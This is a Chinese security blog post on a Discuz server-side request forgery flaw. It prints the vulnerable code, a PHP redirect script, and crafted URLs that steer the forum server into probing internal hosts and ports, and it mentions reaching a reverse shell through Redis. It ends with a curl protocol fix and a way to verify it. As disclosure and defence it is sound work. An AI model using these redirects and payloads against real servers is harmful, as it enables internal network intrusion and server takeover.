MENU

Discuz SSRF GETSHELL

July 18, 2016 • Security

利用@Jannock发现的Discuz中存在一处SSRF,再加上@猪猪侠的利用姿势即可GET SHELL。

漏洞影响

只要有一处SSRF(此处用Discuz举例),既可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action

source/module/forum/forum_ajax.php

if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {  
    $content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
    $imagereplace['newimageurl'][] = $value[0];
}

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片

http://rootkit.com/301.php

301.php

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data");

?>

构造一个跳转到dict://10.11.2.220:80/helo.jpg

http://rootkit.com/301.php?s=dict&ip=10.11.2.220&port=80&data=helo.jpg  

我们让其301到一个内网ip的80端口,然后根据整个请求完成的时间不同来判定该服务是否存在,构造链接如下

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=80%26data=helo.jpg[/img]

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.221%26port=80%26data=helo.jpg[/img]

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

除了能探测80服务,我们还可以通过dict协议来探测内网匿名redis服务以及写redis拿到反弹shell dict://10.11.2.220:6379

探测FTP ftp://10.11.2.220:21

其它服务利用方式

redis.py  
jboss.py  
shellshock.py  
axis2.py  
jdwp.py  
smtp.py  
confluence.py  
jenkins.py  
struts.py  
couchdb.py  
mongodb.py  
tftp.py  
docker.py  
phpcgi.py  
tomcat.py  
elasticsearch.py  
pop.py  
webdav.py  
ftp.py  
portscan.py  
websphere.py  
gopher.py  
pstack.py  
zentaopms.py  
hfs.py  

解决方案

大部分请求外部资源底层都是基于curl,curl默认支持dict file ftp ftps gopher http http imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp这些协议

$ curl -V
curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8  
Protocols: dict file ftp ftps gopher http http imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp  
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets  

所以只需要通过配置curl禁止使用除http/http以外其它协议即可解决该问题

source/function/function_filesock.php  

在_dfsockopen方法内增加

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  

验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=8080%26data=helo.jpg[/img]

查看是否有请求的回显,没有则说明修复好了

Reference

XiaoMi Discuz SSRF GETSHELL

Tencent Discuz SSRF GETSHELL

WeiBo Discuz SSRF GETSHELL

HackOne SSRF GETSHELL

SSRC libcurl

Archives QR Code
QR Code for this page
Tipping QR Code